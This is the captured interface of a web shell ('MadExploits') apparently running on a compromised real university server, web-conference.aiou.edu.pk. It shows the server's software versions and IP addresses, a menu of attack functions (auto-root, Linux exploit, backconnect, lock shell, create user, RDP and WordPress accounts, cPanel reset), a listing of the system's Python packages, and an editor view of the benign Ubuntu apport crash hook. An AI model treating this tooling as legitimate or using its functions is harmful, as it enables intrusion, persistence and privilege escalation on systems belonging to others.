Linux web-conference.aiou.edu.pk 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64
Apache/2.4.41 (Ubuntu)
: 172.16.50.247 | : 3.139.71.130
Cant Read [ /etc/named.conf ]
7.4.3-4ubuntu2.28
appadmin
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
usr /
lib /
python3 /
dist-packages /
[ HOME SHELL ]
Name
Size
Permission
Action
Automat-0.8.0.egg-info
[ DIR ]
drwxr-xr-x
Click-7.0.egg-info
[ DIR ]
drwxr-xr-x
CommandNotFound
[ DIR ]
drwxr-xr-x
DistUpgrade
[ DIR ]
drwxr-xr-x
HweSupportStatus
[ DIR ]
drwxr-xr-x
Jinja2-2.10.1.egg-info
[ DIR ]
drwxr-xr-x
LanguageSelector
[ DIR ]
drwxr-xr-x
MarkupSafe-1.1.0.egg-info
[ DIR ]
drwxr-xr-x
OpenSSL
[ DIR ]
drwxr-xr-x
PyGObject-3.36.0.egg-info
[ DIR ]
drwxr-xr-x
PyHamcrest-1.9.0.egg-info
[ DIR ]
drwxr-xr-x
PyJWT-1.7.1.egg-info
[ DIR ]
drwxr-xr-x
PyNaCl-1.3.0.egg-info
[ DIR ]
drwxr-xr-x
SecretStorage-2.3.1.egg-info
[ DIR ]
drwxr-xr-x
Twisted-18.9.0.egg-info
[ DIR ]
drwxr-xr-x
UpdateManager
[ DIR ]
drwxr-xr-x
__pycache__
[ DIR ]
drwxr-xr-x
apport
[ DIR ]
drwxr-xr-x
apt
[ DIR ]
drwxr-xr-x
apt_inst-stubs
[ DIR ]
drwxr-xr-x
apt_pkg-stubs
[ DIR ]
drwxr-xr-x
aptsources
[ DIR ]
drwxr-xr-x
attr
[ DIR ]
drwxr-xr-x
attrs-19.3.0.egg-info
[ DIR ]
drwxr-xr-x
automat
[ DIR ]
drwxr-xr-x
blinker
[ DIR ]
drwxr-xr-x
certifi
[ DIR ]
drwxr-xr-x
certifi-2019.11.28.egg-info
[ DIR ]
drwxr-xr-x
chardet
[ DIR ]
drwxr-xr-x
chardet-3.0.4.egg-info
[ DIR ]
drwxr-xr-x
click
[ DIR ]
drwxr-xr-x
cloud_init-24.4.egg-info
[ DIR ]
drwxr-xr-x
cloudinit
[ DIR ]
drwxr-xr-x
colorama
[ DIR ]
drwxr-xr-x
colorama-0.4.3.egg-info
[ DIR ]
drwxr-xr-x
configobj-5.0.6.egg-info
[ DIR ]
drwxr-xr-x
constantly
[ DIR ]
drwxr-xr-x
constantly-15.1.0.egg-info
[ DIR ]
drwxr-xr-x
cryptography
[ DIR ]
drwxr-xr-x
cryptography-2.8.egg-info
[ DIR ]
drwxr-xr-x
dbus
[ DIR ]
drwxr-xr-x
dbus_python-1.2.16.egg-info
[ DIR ]
drwxr-xr-x
debian
[ DIR ]
drwxr-xr-x
debian_bundle
[ DIR ]
drwxr-xr-x
distro-1.4.0.egg-info
[ DIR ]
drwxr-xr-x
distro_info-0.23+ubuntu1.1.egg...
[ DIR ]
drwxr-xr-x
gi
[ DIR ]
drwxr-xr-x
hamcrest
[ DIR ]
drwxr-xr-x
httplib2
[ DIR ]
drwxr-xr-x
httplib2-0.14.0.egg-info
[ DIR ]
drwxr-xr-x
hyperlink
[ DIR ]
drwxr-xr-x
hyperlink-19.0.0.egg-info
[ DIR ]
drwxr-xr-x
idna
[ DIR ]
drwxr-xr-x
idna-2.8.egg-info
[ DIR ]
drwxr-xr-x
importlib_metadata
[ DIR ]
drwxr-xr-x
importlib_metadata-1.5.0.egg-i...
[ DIR ]
drwxr-xr-x
incremental
[ DIR ]
drwxr-xr-x
incremental-16.10.1.egg-info
[ DIR ]
drwxr-xr-x
janitor
[ DIR ]
drwxr-xr-x
jinja2
[ DIR ]
drwxr-xr-x
jsonpatch-1.22.egg-info
[ DIR ]
drwxr-xr-x
jsonpointer-2.0.egg-info
[ DIR ]
drwxr-xr-x
jsonschema
[ DIR ]
drwxr-xr-x
jsonschema-3.2.0.egg-info
[ DIR ]
drwxr-xr-x
jwt
[ DIR ]
drwxr-xr-x
keyring
[ DIR ]
drwxr-xr-x
keyring-18.0.1.egg-info
[ DIR ]
drwxr-xr-x
landscape
[ DIR ]
drwxr-xr-x
language_selector-0.1.egg-info
[ DIR ]
drwxr-xr-x
launchpadlib
[ DIR ]
drwxr-xr-x
launchpadlib-1.10.13.egg-info
[ DIR ]
drwxr-xr-x
lazr
[ DIR ]
drwxr-xr-x
lazr.restfulclient-0.14.2.egg-...
[ DIR ]
drwxr-xr-x
lazr.uri-1.0.3.egg-info
[ DIR ]
drwxr-xr-x
markupsafe
[ DIR ]
drwxr-xr-x
more_itertools
[ DIR ]
drwxr-xr-x
more_itertools-4.2.0.egg-info
[ DIR ]
drwxr-xr-x
nacl
[ DIR ]
drwxr-xr-x
netifaces-0.10.4.egg-info
[ DIR ]
drwxr-xr-x
oauthlib
[ DIR ]
drwxr-xr-x
oauthlib-3.1.0.egg-info
[ DIR ]
drwxr-xr-x
packaging
[ DIR ]
drwxr-xr-x
packaging-20.3.egg-info
[ DIR ]
drwxr-xr-x
pexpect
[ DIR ]
drwxr-xr-x
pkg_resources
[ DIR ]
drwxr-xr-x
ptyprocess
[ DIR ]
drwxr-xr-x
pyOpenSSL-19.0.0.egg-info
[ DIR ]
drwxr-xr-x
pyasn1
[ DIR ]
drwxr-xr-x
pyasn1-0.4.2.egg-info
[ DIR ]
drwxr-xr-x
pyasn1_modules
[ DIR ]
drwxr-xr-x
pygtkcompat
[ DIR ]
drwxr-xr-x
pymacaroons
[ DIR ]
drwxr-xr-x
pymacaroons-0.13.0.egg-info
[ DIR ]
drwxr-xr-x
pyparsing-2.4.6.egg-info
[ DIR ]
drwxr-xr-x
pyrsistent
[ DIR ]
drwxr-xr-x
pyrsistent-0.15.5.egg-info
[ DIR ]
drwxr-xr-x
pyserial-3.4.egg-info
[ DIR ]
drwxr-xr-x
python_apt-2.0.1+ubuntu0.20.4....
[ DIR ]
drwxr-xr-x
python_debian-0.1.36+ubuntu1.1...
[ DIR ]
drwxr-xr-x
requests
[ DIR ]
drwxr-xr-x
requests-2.22.0.egg-info
[ DIR ]
drwxr-xr-x
requests_unixsocket
[ DIR ]
drwxr-xr-x
requests_unixsocket-0.2.0.egg-...
[ DIR ]
drwxr-xr-x
secretstorage
[ DIR ]
drwxr-xr-x
serial
[ DIR ]
drwxr-xr-x
service_identity
[ DIR ]
drwxr-xr-x
service_identity-18.1.0.egg-in...
[ DIR ]
drwxr-xr-x
setuptools
[ DIR ]
drwxr-xr-x
setuptools-45.2.0.egg-info
[ DIR ]
drwxr-xr-x
simplejson
[ DIR ]
drwxr-xr-x
six-1.14.0.egg-info
[ DIR ]
drwxr-xr-x
softwareproperties
[ DIR ]
drwxr-xr-x
sos
[ DIR ]
drwxr-xr-x
sos-4.7.2.egg-info
[ DIR ]
drwxr-xr-x
ssh_import_id
[ DIR ]
drwxr-xr-x
ssh_import_id-5.10.egg-info
[ DIR ]
drwxr-xr-x
systemd
[ DIR ]
drwxr-xr-x
twisted
[ DIR ]
drwxr-xr-x
uaclient
[ DIR ]
drwxr-xr-x
ubuntu_pro_client-8001.egg-inf...
[ DIR ]
drwxr-xr-x
ufw
[ DIR ]
drwxr-xr-x
unattended_upgrades-0.1.egg-in...
[ DIR ]
drwxr-xr-x
urllib3
[ DIR ]
drwxr-xr-x
urllib3-1.25.8.egg-info
[ DIR ]
drwxr-xr-x
wadllib
[ DIR ]
drwxr-xr-x
wadllib-1.3.3.egg-info
[ DIR ]
drwxr-xr-x
yaml
[ DIR ]
drwxr-xr-x
zipp-1.0.0.egg-info
[ DIR ]
drwxr-xr-x
zope
[ DIR ]
drwxr-xr-x
zope.interface-4.7.1.egg-info
[ DIR ]
drwxr-xr-x
PyYAML-5.3.1.egg-info
1.74
KB
-rw-r--r--
_cffi_backend.cpython-38-x86_6...
181.92
KB
-rw-r--r--
_dbus_bindings.cpython-38-x86_...
168.16
KB
-rw-r--r--
_dbus_glib_bindings.cpython-38...
22.54
KB
-rw-r--r--
_pyrsistent_version.py
23
B
-rw-r--r--
_snack.cpython-38-x86_64-linux...
42.77
KB
-rw-r--r--
_version.py
21
B
-rw-r--r--
_yaml.cpython-38-x86_64-linux-...
276.73
KB
-rw-r--r--
apport_python_hook.py
7.87
KB
-rw-r--r--
apt_inst.cpython-38-x86_64-lin...
58.67
KB
-rw-r--r--
apt_pkg.cpython-38-x86_64-linu...
350.95
KB
-rw-r--r--
blinker-1.4.egg-info
3.81
KB
-rw-r--r--
command_not_found-0.3.egg-info
189
B
-rw-r--r--
configobj.py
87.51
KB
-rw-r--r--
deb822.py
273
B
-rw-r--r--
debconf.py
6.61
KB
-rw-r--r--
distro.py
42.24
KB
-rw-r--r--
distro_info.py
10.89
KB
-rw-r--r--
easy_install.py
126
B
-rw-r--r--
entrypoints.egg-info
226
B
-rw-r--r--
entrypoints.py
7.99
KB
-rw-r--r--
jsonpatch.py
24.51
KB
-rw-r--r--
jsonpointer.py
9.57
KB
-rw-r--r--
language_support_pkgs.py
9.7
KB
-rw-r--r--
lsb_release.py
14.55
KB
-rw-r--r--
netifaces.cpython-38-x86_64-li...
22.68
KB
-rw-r--r--
netifaces.cpython-38d-x86_64-l...
26.71
KB
-rw-r--r--
pexpect-4.6.0.egg-info
2.23
KB
-rw-r--r--
problem_report.py
26.24
KB
-rw-r--r--
pvectorc.cpython-38-x86_64-lin...
36.68
KB
-rw-r--r--
pyasn1_modules-0.2.1.egg-info
1.68
KB
-rw-r--r--
pyparsing.py
266.02
KB
-rw-r--r--
simplejson-3.16.0.egg-info
2.97
KB
-rw-r--r--
six.py
33.28
KB
-rw-r--r--
snack.py
30.4
KB
-rw-r--r--
systemd_python-234.egg-info
586
B
-rw-r--r--
ufw-0.36.egg-info
261
B
-rw-r--r--
validate.py
46.14
KB
-rw-r--r--
zipp.py
6.75
KB
-rw-r--r--
zope.interface-4.7.1-nspkg.pth
529
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : apport_python_hook.py
'''Python sys.excepthook hook to generate apport crash dumps.''' # Copyright (c) 2006 - 2009 Canonical Ltd. # Authors: Robert Collins <robert@ubuntu.com> # Martin Pitt <martin.pitt@ubuntu.com> # # This program is free software; you can redistribute it and/or modify it # under the terms of the GNU General Public License as published by the # Free Software Foundation; either version 2 of the License, or (at your # option) any later version. See http://www.gnu.org/copyleft/gpl.html for # the full text of the license. import os import sys CONFIG = '/etc/default/apport' def enabled(): '''Return whether Apport should generate crash reports.''' # This doesn't use apport.packaging.enabled() because it is too heavyweight # See LP: #528355 import re try: with open(CONFIG) as f: conf = f.read() return re.search(r'^\s*enabled\s*=\s*0\s*$', conf, re.M) is None except IOError: # if the file does not exist, assume it's enabled return True def apport_excepthook(exc_type, exc_obj, exc_tb): '''Catch an uncaught exception and make a traceback.''' # create and save a problem report. Note that exceptions in this code # are bad, and we probably need a per-thread reentrancy guard to # prevent that happening. However, on Ubuntu there should never be # a reason for an exception here, other than [say] a read only var # or some such. So what we do is use a try - finally to ensure that # the original excepthook is invoked, and until we get bug reports # ignore the other issues. # import locally here so that there is no routine overhead on python # startup time - only when a traceback occurs will this trigger. try: # ignore 'safe' exit types. if exc_type in (KeyboardInterrupt, ): return # if python apt modules are not built for the python version than it # is not supported. LP: #1774843 try: import apt_pkg # make pyflakes happy apt_pkg.DATE except ImportError: return # do not do anything if apport was disabled if not enabled(): return try: from cStringIO import StringIO StringIO # pyflakes except ImportError: from io import StringIO import re, traceback from apport.fileutils import likely_packaged, get_recent_crashes # apport will look up the package from the executable path. try: binary = os.path.realpath(os.path.join(os.getcwd(), sys.argv[0])) except (TypeError, AttributeError, IndexError): # the module has mutated sys.argv, plan B try: binary = os.readlink('/proc/%i/exe' % os.getpid()) except OSError: return # for interactive python sessions, sys.argv[0] == ''; catch that and # other irregularities if not os.access(binary, os.X_OK) or not os.path.isfile(binary): return # filter out binaries in user accessible paths if not likely_packaged(binary): return import apport.report pr = apport.report.Report() # special handling of dbus-python exceptions if hasattr(exc_obj, 'get_dbus_name'): name = exc_obj.get_dbus_name() if name == 'org.freedesktop.DBus.Error.NoReply': # NoReply is an useless crash, we do not even get the method it # was trying to call; needs actual crash from D-BUS backend (LP #914220) return elif name == 'org.freedesktop.DBus.Error.ServiceUnknown': dbus_service_unknown_analysis(exc_obj, pr) else: pr['_PythonExceptionQualifier'] = name # disambiguate OSErrors with errno: if exc_type == OSError and exc_obj.errno is not None: pr['_PythonExceptionQualifier'] = str(exc_obj.errno) # append a basic traceback. In future we may want to include # additional data such as the local variables, loaded modules etc. tb_file = StringIO() traceback.print_exception(exc_type, exc_obj, exc_tb, file=tb_file) pr['Traceback'] = tb_file.getvalue().strip() pr.add_proc_info(extraenv=['PYTHONPATH', 'PYTHONHOME']) pr.add_user_info() # override the ExecutablePath with the script that was actually running pr['ExecutablePath'] = binary if 'ExecutableTimestamp' in pr: pr['ExecutableTimestamp'] = str(int(os.stat(binary).st_mtime)) try: pr['PythonArgs'] = '%r' % sys.argv except AttributeError: pass if pr.check_ignored(): return mangled_program = re.sub('/', '_', binary) # get the uid for now, user name later user = os.getuid() pr_filename = '%s/%s.%i.crash' % (os.environ.get( 'APPORT_REPORT_DIR', '/var/crash'), mangled_program, user) crash_counter = 0 if os.path.exists(pr_filename): if apport.fileutils.seen_report(pr_filename): # flood protection with open(pr_filename, 'rb') as f: crash_counter = get_recent_crashes(f) + 1 if crash_counter > 1: return # remove the old file, so that we can create the new one with # os.O_CREAT|os.O_EXCL os.unlink(pr_filename) else: # don't clobber existing report return if crash_counter: pr['CrashCounter'] = str(crash_counter) with os.fdopen(os.open(pr_filename, os.O_WRONLY | os.O_CREAT | os.O_EXCL, 0o640), 'wb') as f: pr.write(f) finally: # resume original processing to get the default behaviour, # but do not trigger an AttributeError on interpreter shutdown. if sys: sys.__excepthook__(exc_type, exc_obj, exc_tb) def dbus_service_unknown_analysis(exc_obj, report): from glob import glob import subprocess, re try: from configparser import ConfigParser, NoSectionError, NoOptionError (ConfigParser, NoSectionError, NoOptionError) # pyflakes except ImportError: # Python 2 from ConfigParser import ConfigParser, NoSectionError, NoOptionError # determine D-BUS name m = re.search(r'name\s+(\S+)\s+was not provided by any .service', exc_obj.get_dbus_message()) if not m: if sys.stderr: sys.stderr.write('Error: cannot parse D-BUS name from exception: ' + exc_obj.get_dbus_message()) return dbus_name = m.group(1) # determine .service file and Exec name for the D-BUS name services = [] # tuples of (service file, exe name, running) for f in glob('/usr/share/dbus-1/*services/*.service'): cp = ConfigParser(interpolation=None) cp.read(f, encoding='UTF-8') try: if cp.get('D-BUS Service', 'Name') == dbus_name: exe = cp.get('D-BUS Service', 'Exec') running = (subprocess.call(['pidof', '-sx', exe], stdout=subprocess.PIPE) == 0) services.append((f, exe, running)) except (NoSectionError, NoOptionError): if sys.stderr: sys.stderr.write('Invalid D-BUS .service file %s: %s' % ( f, exc_obj.get_dbus_message())) continue if not services: report['DbusErrorAnalysis'] = 'no service file providing ' + dbus_name else: report['DbusErrorAnalysis'] = 'provided by' for (service, exe, running) in services: report['DbusErrorAnalysis'] += ' %s (%s is %srunning)' % ( service, exe, ('' if running else 'not ')) def install(): '''Install the python apport hook.''' sys.excepthook = apport_excepthook
Close